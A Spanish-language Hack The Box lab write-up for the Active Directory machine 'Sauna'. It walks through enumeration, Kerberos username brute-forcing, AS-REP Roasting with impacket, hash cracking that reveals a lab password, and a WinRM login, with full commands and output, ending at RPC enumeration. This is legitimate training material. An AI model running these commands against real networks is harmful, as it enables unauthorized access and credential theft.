Sauna - Hack The Box
Esta fue una máquina sencilla. Empezamos analizando el servicio HTTP, ahí encontramos algunos nombres que después probamos con Kerbrute para poder ver qué usuarios existen en la máquina víctima, aunque también enumeramos el servicio LDAP con el que encontramos otro usuario. Al probar nuestra lista de usuarios, la volvemos a probar para poder aplicar el AS-REP Roasting Attack, con el que obtuvimos un hash TGT que crackeamos con JohnTheRipper y Hashcat, siendo de esta forma con la que ganamos acceso a la máquina vía WinRM. Una vez dentro, enumeramos la máquina y descubrimos que hay otro usuario del que no tenemos contraseña, por lo que usamos winPEAS para encontrar una vulnerabilidad que nos permita autenticarnos como ese nuevo usuario. De esta forma encontramos la contraseña en texto claro del nuevo usuario. Entrando a la máquina como el nuevo usuario, utilizamos BloodHound y SharpHound para descubrir una vía potencial para escalar privilegios, siendo que tenemos los permisos exactos para aplicar el DCSync Attack. Aplicamos el ataque con secretsdump de impacket y con mimikatz.exe, obteniendo así el hash NTLM del administrador con el que ganamos acceso a la máquina, dándola por terminada.
Herramientas utilizadas:
- ping
- nmap
- wappalizer
- whatweb
- crackmapexec
- smbclient
- smbmap
- ldapsearch
- dig
- kerbrute_linux_amd64
- impacket-GetNPUsers
- JohnTheRipper
- Hashcat
- Evil-WinRM
- rpcclient
- net user
- net localgroup
- winPEASx64
- BloodHound 4.3.1
- SharpHound 1.1.1
- impacket-secretsdump
- mimikatz.exe
Índice
- Recopilación de Información
- Análisis de Vulnerabilidades
- Analizando Servicio HTTP
- Fuzzing
- Enumeración de DNS
- Enumeración de Servicio SMB
- Enumeración de Servicio LDAP
- Enumeración de Servicio Kerberos
- Explotación de Vulnerabilidades
- Aplicando AS-REP Roasting Attack
- Crackeando Hash TGT con JohnTheRipper
- Crackeando Hash TGT con Hashcat
- Comprobando Contraseña Crackeada y Ganando Acceso a la Máquina con Evil-WinRM
- Enumeración de Servicio RPC
- Post Explotación
- Enumeración de Máquina Manual y con winPEAS
- Enumeració de AD con BloodHound y SharpHound
- Aplicando DCSync Attack
- Links de Investigación
Recopilación de Información
Traza ICMP
Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.
ping -c 4 10.10.10.175
PING 10.10.10.175 (10.10.10.175) 56(84) bytes of data.
64 bytes from 10.10.10.175: icmp_seq=1 ttl=127 time=74.3 ms
64 bytes from 10.10.10.175: icmp_seq=2 ttl=127 time=70.3 ms
64 bytes from 10.10.10.175: icmp_seq=3 ttl=127 time=70.1 ms
64 bytes from 10.10.10.175: icmp_seq=4 ttl=127 time=73.7 ms
--- 10.10.10.175 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 70.145/72.102/74.296/1.893 ms
Por el TTL sabemos que la máquina usa Windows, hagamos los escaneos de puertos y servicios.
Escaneo de Puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.175 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-16 13:05 CST
Initiating SYN Stealth Scan at 13:05
Scanning 10.10.10.175 [65535 ports]
Discovered open port 80/tcp on 10.10.10.175
Discovered open port 139/tcp on 10.10.10.175
Discovered open port 135/tcp on 10.10.10.175
Discovered open port 53/tcp on 10.10.10.175
Discovered open port 445/tcp on 10.10.10.175
Discovered open port 3269/tcp on 10.10.10.175
Discovered open port 49697/tcp on 10.10.10.175
Discovered open port 636/tcp on 10.10.10.175
Discovered open port 593/tcp on 10.10.10.175
Discovered open port 49668/tcp on 10.10.10.175
Increasing send delay for 10.10.10.175 from 0 to 5 due to max_successful_tryno increase to 4
Discovered open port 49689/tcp on 10.10.10.175
Discovered open port 49673/tcp on 10.10.10.175
SYN Stealth Scan Timing: About 38.20% done; ETC: 13:06 (0:00:50 remaining)
Increasing send delay for 10.10.10.175 from 5 to 10 due to 11 out of 16 dropped probes since last increase.
Discovered open port 389/tcp on 10.10.10.175
Discovered open port 49676/tcp on 10.10.10.175
Discovered open port 5985/tcp on 10.10.10.175
Discovered open port 49674/tcp on 10.10.10.175
Discovered open port 88/tcp on 10.10.10.175
Discovered open port 3268/tcp on 10.10.10.175
Increasing send delay for 10.10.10.175 from 10 to 20 due to 11 out of 26 dropped probes since last increase.
Completed SYN Stealth Scan at 13:06, 80.08s elapsed (65535 total ports)
Nmap scan report for 10.10.10.175
Host is up, received user-set (0.33s latency).
Scanned at 2024-10-16 13:05:32 CST for 80s
Not shown: 65517 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
80/tcp open http syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
49668/tcp open unknown syn-ack ttl 127
49673/tcp open unknown syn-ack ttl 127
49674/tcp open unknown syn-ack ttl 127
49676/tcp open unknown syn-ack ttl 127
49689/tcp open unknown syn-ack ttl 127
49697/tcp open unknown syn-ack ttl 127
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 80.18 seconds
Raw packets sent: 393192 (17.300MB) | Rcvd: 90 (3.932KB)
Parámetros | Descripción |
---|---|
-p- | Para indicarle un escaneo en ciertos puertos. |
–open | Para indicar que aplique el escaneo en los puertos abiertos. |
-sS | Para indicar un TCP Syn Port Scan para que nos agilice el escaneo. |
–min-rate | Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000). |
-vvv | Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo. |
-n | Para indicar que no se aplique resolución dns para agilizar el escaneo. |
-Pn | Para indicar que se omita el descubrimiento de hosts. |
-oG | Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts. |
Hay varios puertos, podemos ver que nos vamos a enfrentar a un Directorio Activo (AD), pero algo que me da curiosidad es que parece que hay puertos filtrados. Veamos qué información obtenemos de los puertos abiertos.
Escaneo de Servicios
nmap -sCV -p 53,80,88,135,139,389,445,593,636,3268,3269,5985,49668,49673,49674,49676,49689,49697 10.10.10.175 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-16 13:08 CST
Nmap scan report for 10.10.10.175
Host is up (0.074s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Egotistical Bank :: Home
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-10-17 02:09:05Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49668/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49676/tcp open msrpc Microsoft Windows RPC
49689/tcp open msrpc Microsoft Windows RPC
49697/tcp open msrpc Microsoft Windows RPC
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-10-17T02:09:58
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 7h00m04s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 98.23 seconds
Parámetros | Descripción |
---|---|
-sC | Para indicar un lanzamiento de scripts básicos de reconocimiento. |
-sV | Para identificar los servicios/versión que están activos en los puertos que se analicen. |
-p | Para indicar puertos específicos. |
-oN | Para indicar que el output se guarde en un fichero. Lo llame targeted. |
Muy bien, el escaneo obtuvo el dominio y es EGOTISTICAL-BANK.LOCAL, así que regístralo en el /etc/hosts
.
Vamos a empezar por enumerar la página web.
Análisis de Vulnerabilidades
Analizando Servicio HTTP
Entremos:
Veamos qué nos dice Wappalizer:
Las tecnologías como IIS y el servidor web de Windows nos indican que estamos contra una máquina Windows.
Probemos con whatweb para ver si nos da algo más:
whatweb http://10.10.10.175
http://10.10.10.175 [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[example@email.com,info@example.com], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.175], Microsoft-IIS[10.0], Script, Title[Egotistical Bank :: Home]
No hay otra cosa que nos sirva.
Investiguemos la página para ver qué más podemos encontrar.
Curiosamente, en la página principal se pueden ver algunas personas y las representan como clientes, pero si nos vamos al About Us, podemos ver a esas mismas personas, pero con su nombre, como si fueran usuarios:
Por último, solamente encontramos una publicación realizada por un usuario:
No encontramos nada más.
Apliquemos Fuzzing por si hay algo que se nos escapa.
Fuzzing
wfuzz -c -L --hc=404 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.10.10.175/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.175/FUZZ
Total requests: 220545
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000536: 403 29 L 92 W 1233 Ch "css"
000002757: 403 29 L 92 W 1233 Ch "fonts"
000003659: 403 29 L 92 W 1233 Ch "IMAGES"
000008461: 403 29 L 92 W 1233 Ch "CSS"
000005568: 403 29 L 92 W 1233 Ch "Fonts"
000000002: 403 29 L 92 W 1233 Ch "images"
000000189: 403 29 L 92 W 1233 Ch "Images"
000045226: 200 683 L 1813 W 32797 Ch "http://10.10.10.175/"
Total time: 0
Processed Requests: 220545
Filtered Requests: 220537
Requests/sec.: 0
Parámetros | Descripción |
---|---|
-c | Para ver el resultado en un formato colorido. |
–hc | Para no mostrar un código de estado en los resultados. |
-t | Para indicar la cantidad de hilos a usar. |
-w | Para indicar el diccionario a usar en el fuzzing. |
Ahora probemos con gobuster:
gobuster dir -u http://10.10.10.175/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 30
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.175/
[+] Method: GET
[+] Threads: 30
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 150] [--> http://10.10.10.175/images/]
/Images (Status: 301) [Size: 150] [--> http://10.10.10.175/Images/]
/css (Status: 301) [Size: 147] [--> http://10.10.10.175/css/]
/fonts (Status: 301) [Size: 149] [--> http://10.10.10.175/fonts/]
/IMAGES (Status: 301) [Size: 150] [--> http://10.10.10.175/IMAGES/]
/Fonts (Status: 301) [Size: 149] [--> http://10.10.10.175/Fonts/]
/CSS (Status: 301) [Size: 147] [--> http://10.10.10.175/CSS/]
Progress: 220545 / 220546 (100.00%)
===============================================================
Finished
===============================================================
Parámetros | Descripción |
---|---|
-u | Para indicar la URL a utilizar. |
-w | Para indicar el diccionario a usar en el fuzzing. |
-t | Para indicar la cantidad de hilos a usar. |
Nada que podamos usar.
Enumeración de DNS
Vamos a probar con dig qué información podemos obtener del DNS.
Primero, veamos si nos responde:
dig @10.10.10.175 EGOTISTICAL-BANK.LOCAL
; <<>> DiG 9.20.2-1-Debian <<>> @10.10.10.175 EGOTISTICAL-BANK.LOCAL
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 8406
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;EGOTISTICAL-BANK.LOCAL. IN A
;; ANSWER SECTION:
EGOTISTICAL-BANK.LOCAL. 600 IN A 10.10.10.175
;; Query time: 80 msec
;; SERVER: 10.10.10.175#53(10.10.10.175) (UDP)
;; WHEN: Wed Oct 16 16:33:39 CST 2024
;; MSG SIZE rcvd: 67
Nos responde.
Probemos si hay correos registrados:
dig @10.10.10.175 EGOTISTICAL-BANK.LOCAL mx
; <<>> DiG 9.20.2-1-Debian <<>> @10.10.10.175 EGOTISTICAL-BANK.LOCAL mx
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6494
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;EGOTISTICAL-BANK.LOCAL. IN MX
;; AUTHORITY SECTION:
EGOTISTICAL-BANK.LOCAL. 3600 IN SOA sauna.EGOTISTICAL-BANK.LOCAL. hostmaster.EGOTISTICAL-BANK.LOCAL. 48 900 600 86400 3600
;; Query time: 72 msec
;; SERVER: 10.10.10.175#53(10.10.10.175) (UDP)
;; WHEN: Wed Oct 16 16:33:49 CST 2024
;; MSG SIZE rcvd: 10
No hay ninguno.
Probemos si hay otros servidores:
dig @10.10.10.175 EGOTISTICAL-BANK.LOCAL ns
; <<>> DiG 9.20.2-1-Debian <<>> @10.10.10.175 EGOTISTICAL-BANK.LOCAL ns
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29206
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 3
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;EGOTISTICAL-BANK.LOCAL. IN NS
;; ANSWER SECTION:
EGOTISTICAL-BANK.LOCAL. 3600 IN NS sauna.EGOTISTICAL-BANK.LOCAL.
;; ADDITIONAL SECTION:
sauna.EGOTISTICAL-BANK.LOCAL. 3600 IN A 10.10.10.175
sauna.EGOTISTICAL-BANK.LOCAL. 3600 IN AAAA dead:beef::38ba:d63a:ba8c:4e8c
;; Query time: 80 msec
;; SERVER: 10.10.10.175#53(10.10.10.175) (UDP)
;; WHEN: Wed Oct 16 16:33:56 CST 2024
;; MSG SIZE rcvd: 115
Curiosamente, parece que hay una IPv6, quizá si aplicamos un nuevo escaneo con nmap usando esa IPv6, aparezcan nuevos puertos. Pero eso te lo dejo a ti para que lo pruebes.
Por último, apliquemos un ataque de transferencia de zona para obtener más información:
dig @10.10.10.175 EGOTISTICAL-BANK.LOCAL axfr
; <<>> DiG 9.20.2-1-Debian <<>> @10.10.10.175 EGOTISTICAL-BANK.LOCAL axfr
; (1 server found)
;; global options: +cmd
; Transfer failed.
Fue un ataque fallido.
Enumeración de Servicio SMB
Veamos qué información obtenemos con crackmapexec:
crackmapexec smb 10.10.10.175
SMB 10.10.10.175 445 SAUNA [*] Windows 10 / Server 2019 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
Nos dio el dominio, pero ese ya lo conocíamos.
Si analizamos bien el escaneo de servicios, nos había dicho que el servicio SMB necesita credenciales válidas para entrar.
Vamos a comprobarlo tratando de sacar una sesión nula con smbclient para listar los archivos compartidos:
smbclient -L //10.10.10.175// -N
Anonymous login successful
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.175 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
No nos dejó.
Solo por si las dudas, tratemos con smbmap:
smbmap -H 10.10.10.175
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.4 | Shawn Evans - ShawnDEvans@gmail.com<mailto:ShawnDEvans@gmail.com>
https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 0 authenticated session(s)
[*] Closed 1 connections
Tampoco, aunque podríamos intentarlo con una sesión nula, pero tampoco nos dejará.
Enumeración de Servicio LDAP
Veamos qué información podemos obtener con ldapsearch:
ldapsearch -x -H ldap://10.10.10.175 -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#
#
dn:
namingcontexts: DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: DC=DomainDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: DC=ForestDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
No obtuvimos algo útil.
Vamos a indicarle que enumere todo lo que pueda (-b
):
ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL'
# extended LDIF
#
# LDAPv3
# base <DC=EGOTISTICAL-BANK,DC=LOCAL> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# EGOTISTICAL-BANK.LOCAL
dn: DC=EGOTISTICAL-BANK,DC=LOCAL
objectClass: top
objectClass: domain
objectClass: domainDNS
distinguishedName: DC=EGOTISTICAL-BANK,DC=LOCAL
instanceType: 5
whenCreated: 20200123054425.0Z
whenChanged: 20241017015043.0Z
subRefs: DC=ForestDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
subRefs: DC=DomainDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
subRefs: CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
uSNCreated: 4099
dSASignature:: AQAAACgAAAAAAAAAAAAAAAAAAAAAAAAAQL7gs8Yl7ESyuZ/4XESy7A==
uSNChanged: 98336
name: EGOTISTICAL-BANK
...
...
...
# Managed Service Accounts, EGOTISTICAL-BANK.LOCAL
dn: CN=Managed Service Accounts,DC=EGOTISTICAL-BANK,DC=LOCAL
# Keys, EGOTISTICAL-BANK.LOCAL
dn: CN=Keys,DC=EGOTISTICAL-BANK,DC=LOCAL
# TPM Devices, EGOTISTICAL-BANK.LOCAL
dn: CN=TPM Devices,DC=EGOTISTICAL-BANK,DC=LOCAL
# Builtin, EGOTISTICAL-BANK.LOCAL
dn: CN=Builtin,DC=EGOTISTICAL-BANK,DC=LOCAL
# Hugo Smith, EGOTISTICAL-BANK.LOCAL
dn: CN=Hugo Smith,DC=EGOTISTICAL-BANK,DC=LOCAL
# search reference
ref: ldap://ForestDnsZones.EGOTISTICAL-BANK.LOCAL/DC=ForestDnsZones,DC=EGOTIST
ICAL-BANK,DC=LOCAL
...
...
...
Nos soltó bastante información, pero lo importante es que nos dio un usuario válido.
Apliquemos un filtro para ver solamente el campo dn: CN=
:
ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL' | grep "dn: CN="
dn: CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL
dn: CN=Computers,DC=EGOTISTICAL-BANK,DC=LOCAL
dn: CN=System,DC=EGOTISTICAL-BANK,DC=LOCAL
dn: CN=LostAndFound,DC=EGOTISTICAL-BANK,DC=LOCAL
dn: CN=Infrastructure,DC=EGOTISTICAL-BANK,DC=LOCAL
dn: CN=ForeignSecurityPrincipals,DC=EGOTISTICAL-BANK,DC=LOCAL
dn: CN=Program Data,DC=EGOTISTICAL-BANK,DC=LOCAL
dn: CN=NTDS Quotas,DC=EGOTISTICAL-BANK,DC=LOCAL
dn: CN=Managed Service Accounts,DC=EGOTISTICAL-BANK,DC=LOCAL
dn: CN=Keys,DC=EGOTISTICAL-BANK,DC=LOCAL
dn: CN=TPM Devices,DC=EGOTISTICAL-BANK,DC=LOCAL
dn: CN=Builtin,DC=EGOTISTICAL-BANK,DC=LOCAL
dn: CN=Hugo Smith,DC=EGOTISTICAL-BANK,DC=LOCAL
No salieron más usuarios, pero con ese es más que suficiente.
Enumeración de Servicio Kerberos
Como ya tenemos un usuario, podemos probar si este existe dentro del servicio Kerberos.
Ya en otras máquinas que fueron AD, vimos cómo es que manejan los nombres de los usuarios. Esto lo podemos aplicar aquí de la siguiente forma:
nano users.txt
hugosmith
h.smith
hugo.smith
hsmith
Probemos con esta lista de usuarios para ver si alguno es válido, y si obtenemos uno, también descubriríamos qué formato es el que usan para representar a sus usuarios.
Usaremos la herramienta kerbrute, indicándole que usaremos el ataque userenum, la IP de la máquina, el dominio y la lista de usuarios:
./kerbrute_linux_amd64 userenum --dc 10.10.10.175 -d EGOTISTICAL-BANK.LOCAL users.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 10/16/24 - Ronnie Flathers @ropnop
2024/10/16 13:30:25 > Using KDC(s):
2024/10/16 13:30:25 > 10.10.10.175:88
2024/10/16 13:30:25 > [+] VALID USERNAME: hsmith@EGOTISTICAL-BANK.LOCAL
2024/10/16 13:30:25 > Done! Tested 4 usernames (1 valid) in 0.081 seconds
Excelente, ya sabemos cuál es el formato de usuarios y que existe el usuario hsmith.
Si recuerdas, vimos en la página web que hay algunos nombres en la sección About Us.
Pues, como ya sabemos el formato de usuarios, vamos a copiar esos nombres para comprobar si son usuarios existentes:
nano users.txt
hsmith
fsmith
scoins
btaylor
hbear
sdriver
skerb
Ahora, usemos el mismo comando que usamos con kerbrute:
./kerbrute_linux_amd64 userenum --dc 10.10.10.175 -d EGOTISTICAL-BANK.LOCAL users.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 10/16/24 - Ronnie Flathers @ropnop
2024/10/16 13:38:14 > Using KDC(s):
2024/10/16 13:38:14 > 10.10.10.175:88
2024/10/16 13:38:14 > [+] VALID USERNAME: hsmith@EGOTISTICAL-BANK.LOCAL
2024/10/16 13:38:14 > [+] VALID USERNAME: fsmith@EGOTISTICAL-BANK.LOCAL
2024/10/16 13:38:14 > Done! Tested 7 usernames (2 valid) in 0.086 seconds
Tenemos otro usuario llamado fsmith.
Una vez que tengamos usuarios válidos, podemos probar el AS-REP Roasting Attack para ver si podemos obtener un TGT.
Explotación de Vulnerabilidades
Aplicando AS-REP Roasting Attack
Esa misma lista de usuarios la podemos ocupar para aplicar este ataque.
Para hacerlo, necesitaremos la herramienta GetNPUsers de impacket.
Le indicaremos que no tenemos contraseñas, que usé nuestra lista de usuarios y el dominio:
impacket-GetNPUsers -no-pass -usersfile users.txt EGOTISTICAL-BANK.LOCAL/
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] User hsmith doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:5407441c36e1fd63c2ef9aa177a0d037$1f69349d02...
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
Muy bien, obtuvimos el TGT del usuario fsmith.
Vamos a crackearlo, pero esta vez, lo haremos de dos formas.
Crackeando Hash TGT con JohnTheRipper
Copia el hash del TGT y guárdalo en un archivo.
Con JonhTheRipper, le indicaremos que utilice el rockyou.txt y el hash para que lo trate de crackear:
john -w:/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 SSE2 4x])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Thestrokes23 ($krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL)
1g 0:00:00:19 DONE (2024-10-16 13:39) 0.05096g/s 537149p/s 537149c/s 537149C/s Thomas30..Thenook1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Tardo un poquito, pero ahí está la contraseña en texto claro.
Crackeando Hash TGT con Hashcat
Copia el hash del TGT y guárdalo en un archivo.
Con hashcat le indicaremos que use el modo 18200 (que es para hashes krb5asrep), le indicamos que use el rockyou.txt y que ignore cualquier advertencia (--force
):
hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt --force
hashcat (v6.2.6) starting
...
...
$krb5asrep$23$fsmith@EG...a376dd90506fc9fc558a931d2cb28989b1a195321cef2f33025c0b:Thestrokes23
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:5407441...025c0b
Time.Started.....: Wed Oct 16 16:16:45 2024, (17 secs)
Time.Estimated...: Wed Oct 16 16:17:02 2024, (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 625.5 kH/s (3.26ms) @ Accel:1024 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 10542080/14344385 (73.49%)
Rejected.........: 0/10542080 (0.00%)
Restore.Point....: 10536960/14344385 (73.46%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: Tiffany95 -> Tekotuku
Hardware.Mon.#1..: Util: 60%
Started: Wed Oct 16 16:16:07 2024
Stopped: Wed Oct 16 16:17:03 2024
Listo, tenemos la contraseña en texto claro.
Comprobando Contraseña Crackeada y Ganando Acceso a la Máquina con Evil-WinRM
Ya tan solo debemos probar si la contraseña es válida.
Lo haremos con crackmapexec:
crackmapexec smb 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
SMB 10.10.10.175 445 SAUNA [*] Windows 10 / Server 2019 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
SMB 10.10.10.175 445 SAUNA [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23
Parece ser válida, pero no podremos conectarnos a la máquina.
Probemos con WinRM, ya que vimos que está abierto:
crackmapexec winrm 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
SMB 10.10.10.175 5985 SAUNA [*] Windows 10 / Server 2019 Build 17763 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL)
HTTP 10.10.10.175 5985 SAUNA [*] http://10.10.10.175:5985/wsman
WINRM 10.10.10.175 5985 SAUNA [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23 (Pwn3d!)
Excelente, ya solo usemos Evil-WinRM para entrar a la máquina:
evil-winrm -i 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\FSmith\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\FSmith\Desktop> dir
Directory: C:\Users\FSmith\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 10/16/2024 6:51 PM 34 user.txt
*Evil-WinRM* PS C:\Users\FSmith\Desktop> cat user.txt
Enumeración de Servicio RPC
Como ya tenemos credenciales válidas, podemos enumerar varios servicios como LDAP, SMB, pero el que es más simple de enumerar (en mi opinión), es el servicio RPC.
La idea, es comprobar los usuarios existentes, ya que solamente contamos con 2 usuarios.
Entremos usando rpcclient:
